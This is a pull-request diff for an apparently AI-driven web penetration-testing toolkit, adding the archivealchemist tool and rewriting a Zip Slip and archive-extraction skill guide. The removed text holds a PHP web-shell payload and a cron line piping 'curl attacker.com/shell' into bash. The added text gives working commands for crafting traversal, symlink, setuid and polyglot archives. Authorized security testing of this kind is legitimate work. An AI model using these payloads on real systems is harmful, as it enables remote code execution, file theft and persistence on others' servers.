Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions capabilities/web-security/agents/web-security.md
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,7 @@ Use tools proactively when they reduce uncertainty or verify a finding. Match th
- Use `generate_rebinding_hostname` and `list_rebinding_presets` for DNS rebinding SSRF bypass when IP filters validate resolved addresses before fetching.
- Use IP rotation (`flareprox_*` tools or the local `fireprox` CLI at `~/git/fireprox/fire.py`) only when `IPROTATE_ENABLED` is set and the target is rate-limiting, IP-banning, or WAF-blocking normal requests. Load the `ip-rotation` skill for backend selection and lifecycle. Always clean up fireprox proxies to avoid AWS charges.
- Use the local `pacu` CLI when an authorized test yields AWS credentials, cloud metadata access, or another AWS-impact lead that needs validation. Load the `pacu-aws-exploitation` skill first, confirm AWS scope, and start with identity/read-only enumeration before any mutating module.
- When the target accepts or extracts archive uploads (ZIP, TAR, etc.), use the local `archive-alchemist` CLI at `~/git/archivealchemist/archive-alchemist.py` to craft malicious archives. Load the `archive-path-traversal` skill for the full attack pattern catalog and iterative workflow.
- Use `log_image_output`, `log_audio_output`, and `log_video_output` when another tool has already written useful PoC media to disk and you need it attached to the current Dreadnode run as typed output. Use `log_file_artifact` when you want the raw file uploaded as an artifact instead of rendered media.
- When a finding is browser-visible or a screenshot materially improves reproducibility, capture the screenshot and attach it to the run. Treat screenshot logging as standard evidence collection, not an optional flourish.
- Use `bbscope_find` at the start of an engagement to check if a target is covered by any bug bounty program and retrieve scope boundaries. Use `bbscope_program` to get full in-scope/out-of-scope details for a specific program. Use `bbscope_targets` to enumerate targets by type (wildcards, domains, URLs, IPs, CIDRs) for reconnaissance. Use `bbscope_updates` to find freshly added targets that may be under-tested.
Expand Down
11 changes: 8 additions & 3 deletions capabilities/web-security/capability.yaml
Original file line number Diff line number Diff line change
@@ -1,15 +1,15 @@
schema: 1
name: web-security
version: "1.1.3"
version: "1.1.4"
description: >
Web application penetration testing with 60+ attack technique playbooks
covering request smuggling, cache poisoning, SSRF, SSTI, DOM
vulnerabilities, authentication bypasses, parser differentials,
AEM/Sling exploitation, and client-side attacks. Includes HTTP client
tooling, Caido proxy integration via MCP, credential management, DNS
rebinding, AWS exploitation with Pacu, phone verification,
vulnerability verification, and IP rotation helpers (Flareprox,
fireprox) for bypassing rate limits and IP bans.
vulnerability verification, IP rotation helpers (Flareprox, fireprox),
and archive extraction vulnerability crafting with archivealchemist.

mcp:
servers:
Expand Down Expand Up @@ -112,6 +112,8 @@ checks:
command: command -v pacu
- name: fireprox
command: 'test -f "$HOME/git/fireprox/fire.py"'
- name: archivealchemist
command: 'test -f "$HOME/git/archivealchemist/archive-alchemist.py"'
- name: jxscout
command: command -v jxscout-pro-v2

Expand All @@ -137,3 +139,6 @@ keywords:
- ip-rotation
- waf-bypass
- rate-limit-bypass
- archive-extraction
- zip-slip
- path-traversal
4 changes: 4 additions & 0 deletions capabilities/web-security/docker/Dockerfile.runtime
Original file line number Diff line number Diff line change
Expand Up @@ -122,6 +122,10 @@ RUN pip install --no-cache-dir \
RUN git clone --depth 1 https://github.com/ustayready/fireprox /root/git/fireprox \
&& pip install --no-cache-dir -r /root/git/fireprox/requirements.txt

# ── archivealchemist (malicious archive crafter) ────────────────────
# Pure Python CLI for Zip Slip, symlink, polyglot, and Unicode path confusion.
RUN git clone --depth 1 https://github.com/avlidienbrunn/archivealchemist /root/git/archivealchemist

# ── Clean up Go build cache ─────────────────────────────────────────
RUN go clean -cache -modcache

Expand Down
8 changes: 8 additions & 0 deletions capabilities/web-security/scripts/install_tools.sh
Original file line number Diff line number Diff line change
Expand Up @@ -119,6 +119,14 @@ if [ ! -d "$FIREPROX_DIR" ]; then
fi
pip install --break-system-packages -r "$FIREPROX_DIR/requirements.txt"

# -- archivealchemist (malicious archive crafter) ---------------------------
# Pure Python CLI for crafting Zip Slip, symlink, polyglot, and Unicode path
# confusion archives. Cloned to a predictable path for the agent prompt.
ARCHIVEALCHEMIST_DIR="$HOME/git/archivealchemist"
if [ ! -d "$ARCHIVEALCHEMIST_DIR" ]; then
git clone --depth 1 https://github.com/avlidienbrunn/archivealchemist "$ARCHIVEALCHEMIST_DIR"
fi

# -- Clean up Go build cache -----------------------------------------------
go clean -cache -modcache 2>/dev/null || true

Expand Down
158 changes: 80 additions & 78 deletions capabilities/web-security/skills/archive-path-traversal/SKILL.md
Original file line number Diff line number Diff line change
@@ -1,113 +1,115 @@
---
name: archive-path-traversal
description: "Zip Slip and archive extraction path traversal vulnerabilities. Use when target has file upload with archive extraction, plugin installers, backup restoration, or any feature that unpacks ZIP/TAR/JAR/WAR/APK archives."
description: Craft malicious archives (ZIP/TAR) to test extraction vulnerabilities including Zip Slip, symlink attacks, hardlink collisions, setuid escalation, polyglot bypasses, and Unicode path confusion. Use when a target accepts archive uploads or extracts archives server-side. Triggers on "archive upload", "zip slip", "tar extraction", "symlink", "hardlink", "polyglot", "archive alchemist", "extraction vulnerability".
---

# Archive Path Traversal (Zip Slip)
# Archive Path Traversal & Extraction Vulnerabilities

When an application extracts archive entries using the entry name directly as the output path without canonicalization, an attacker-controlled entry name like `../../../etc/cron.d/pwn` writes outside the intended directory.
Use this skill when the target accepts archive uploads (ZIP, TAR, tar.gz, tar.xz, tar.bz2) or otherwise extracts archives server-side. The web-security runtime includes **archivealchemist** at `~/git/archivealchemist/archive-alchemist.py` for crafting malicious archives.

## Vulnerable Code Patterns
## When to Use

See [references/vulnerable-code.md](references/vulnerable-code.md) for patterns in Java, Python, Node.js, Go, Ruby, and .NET.
Use archive extraction testing when you observe:

The bug is always the same: `entry.getName()` flows into a file path constructor without validation that the resolved path stays inside the target directory.
- Upload endpoints accepting `.zip`, `.tar`, `.tar.gz`, `.tar.xz`, `.tar.bz2`
- Server-side archive extraction (file import, bulk upload, theme/plugin import)
- Features that restore/back up data from archives
- Any flow where archive entries become files on disk

## Crafting Malicious Archives
## Tool Reference

```python
import zipfile
Tool path: `python3 ~/git/archivealchemist/archive-alchemist.py <archive> <command> [options]`

with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../var/www/html/shell.php', '<?php system($_GET["c"]); ?>')
z.writestr('../../etc/cron.d/pwn', '* * * * * root curl attacker.com/shell | bash\n')
z.writestr('readme.txt', 'Totally normal archive')
```
### Commands

```bash
# Using evilarc
python evilarc.py shell.php -p "var/www/html" -d 3 -o unix
| Command | Purpose |
|---|---|
| `add` | Add files, symlinks, hardlinks, directories |
| `replace` | Replace entries or sync from a directory |
| `append` | Append content to an existing entry |
| `modify` | Change mode, uid, gid, mtime, convert to symlink/hardlink |
| `remove` / `rm` | Remove entries |
| `list` / `ls` | List archive contents |
| `extract` | Extract safely by default; `--vulnerable` for unsafe extraction |
| `read` / `cat` | Read a specific entry |
| `polyglot` | Prepend magic bytes to an archive |

# TAR archives
tar cf evil.tar --transform='s,^,../../etc/cron.d/,' pwn
```
### Common Attack Patterns

## Exploitation Targets
#### Zip Slip (path traversal)

| Target File | Impact | OS |
|-------------|--------|-----|
| `../../var/www/html/shell.php` | Web shell (RCE) | Linux |
| `../../etc/cron.d/pwn` | Cron job (RCE) | Linux |
| `../../root/.ssh/authorized_keys` | SSH access | Linux |
| `../../WEB-INF/classes/Evil.class` | Java class injection | Java |
| `../../inetpub/wwwroot/cmd.aspx` | Web shell (IIS) | Windows |
| `.env` or `../../.env` | Environment variable override | Any |
```bash
python3 ~/git/archivealchemist/archive-alchemist.py zipslip.zip add "../../../tmp/evil.txt" --content "pwned"
```

Chain with **write-path-to-rce** for framework view/template resolution that turns file write into RCE.
#### Symlink file read

## Bypassing Path Traversal Filters
```bash
python3 ~/git/archivealchemist/archive-alchemist.py symlink.tar -t tar add .bashrc --symlink "/etc/passwd"
```

| Technique | Entry Name | Bypasses |
|-----------|-----------|----------|
| Backslash (Windows) | `..\..\wwwroot\shell.aspx` | Unix-only `../` check |
| Encoded slash | `..%2f..%2fetc/passwd` | String-based filter on raw name |
| Double-encoded | `..%252f..%252f` | Single decode + filter + second decode |
| Absolute path | `/etc/cron.d/pwn` | Relative path check only |
| Mixed separators | `..\/..\/etc/passwd` | Strict `../` match |
#### Symlink collision (write through symlink)

**Test order:** basic `../` first, then backslash, then encoded variants, then absolute paths.
```bash
python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --symlink "/tmp/target.txt"
python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --content "overwrite"
```

## Symlink Attacks
#### Setuid escalation

Even if `../` in filenames is filtered, symlinks bypass path validation because the entry name itself is clean.
```bash
python3 ~/git/archivealchemist/archive-alchemist.py setuid.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0
```

### Two-Step Symlink Write
#### Polyglot MIME bypass

```python
import tarfile, io
```bash
python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif add payload.txt --content "hello there"
python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif polyglot --content "GIF89a"
```

with tarfile.open('evil.tar', 'w') as t:
# Step 1: symlink "uploads" -> /var/www/html (clean name)
sym = tarfile.TarInfo(name='uploads')
sym.type = tarfile.SYMTYPE
sym.linkname = '/var/www/html'
t.addfile(sym)
#### Unicode path confusion

# Step 2: write through symlink (still no ../ in name)
shell = tarfile.TarInfo(name='uploads/shell.php')
shell.size = len(payload)
t.addfile(shell, io.BytesIO(payload.encode()))
```bash
python3 ~/git/archivealchemist/archive-alchemist.py weird.zip add file.txt --content "hello" --unicodepath notfile.txt
```

Extraction order matters: symlink created first, then file write follows the symlink. Path validation sees `uploads/shell.php` as inside dest_dir.
## Iterative Working Directory Workflow

## Detection in Source Code
For complex archives, use a working directory and the `replace --content-directory` flow:

```bash
# Java
grep -rn "ZipEntry\|ZipInputStream\|JarEntry" --include="*.java"
# Python
grep -rn "zipfile\|tarfile\|extractall" --include="*.py"
# Node.js
grep -rn "adm-zip\|yauzl\|unzipper\|decompress" --include="*.js" --include="*.ts"
# Go
grep -rn "archive/zip\|archive/tar" --include="*.go"
# .NET
grep -rn "ZipArchive\|ZipFile" --include="*.cs"
# Then verify: is there path validation after entry name extraction?
# 1. Extract the original archive safely
python3 ~/git/archivealchemist/archive-alchemist.py target.zip extract -o workdir/

# 2. Modify files in workdir/ or add malicious entries

# 3. Sync working directory back into a new archive
python3 ~/git/archivealchemist/archive-alchemist.py target_poc.zip replace --content-directory workdir/ ""

# 4. Test target_poc.zip against the target

# 5. Iterate
```

## Testing Checklist
## Testing Procedure

1. **Identify the extraction surface**: find upload/import/restore endpoints that accept archives.
2. **Fingerprint the extractor**: upload a benign archive and observe where files land, what filenames are preserved, whether symlinks survive, and whether permissions are honored.
3. **Start with Zip Slip**: most extractors fail to sanitize `../` sequences. Use a relative path traversal first.
4. **Test symlink/hardlink support**: if the extractor follows symlinks, escalate to reading/writing arbitrary files.
5. **Test polyglots**: if MIME type or magic-byte checks exist, prepend valid magic bytes to a ZIP archive.
6. **Test Unicode path confusion**: some extractors use the Unicode Path extra field instead of the local file header name.
7. **Check permission preservation**: if the extractor preserves permissions, setuid/setgid bits may lead to local privilege escalation.

## Constraints

1. Identify all archive upload/extraction features
2. Determine archive format accepted (ZIP, TAR, JAR, etc.)
3. Craft malicious archive with `../` entry names
4. Upload and check: does extraction create files outside dest dir?
5. If blocked: try alternate traversal (backslash, encoded, symlink)
6. If file write confirmed: identify highest-impact target file
7. Chain with **write-path-to-rce** for code execution
- Do not test arbitrary write paths on production systems without scope confirmation.
- Prefer writing to predictable, non-destructive locations (e.g., `/tmp/` subdirectories) during initial validation.
- Some extractors strip symlinks, permissions, or traversal sequences; negative results for one pattern do not rule out others.
- Archive extraction is usually a gadget chained with other vulnerabilities (e.g., LFI, SSRF, file upload) to achieve real impact.

## Related Skills
## Prerequisites

- **write-path-to-rce** -- Escalate file write to RCE via framework resolution
- **custom-sanitizer-audit** -- If path sanitization exists but is bypassable
- `~/git/archivealchemist/archive-alchemist.py` must exist (installed by the runtime).
- Target must accept and extract archives.
Loading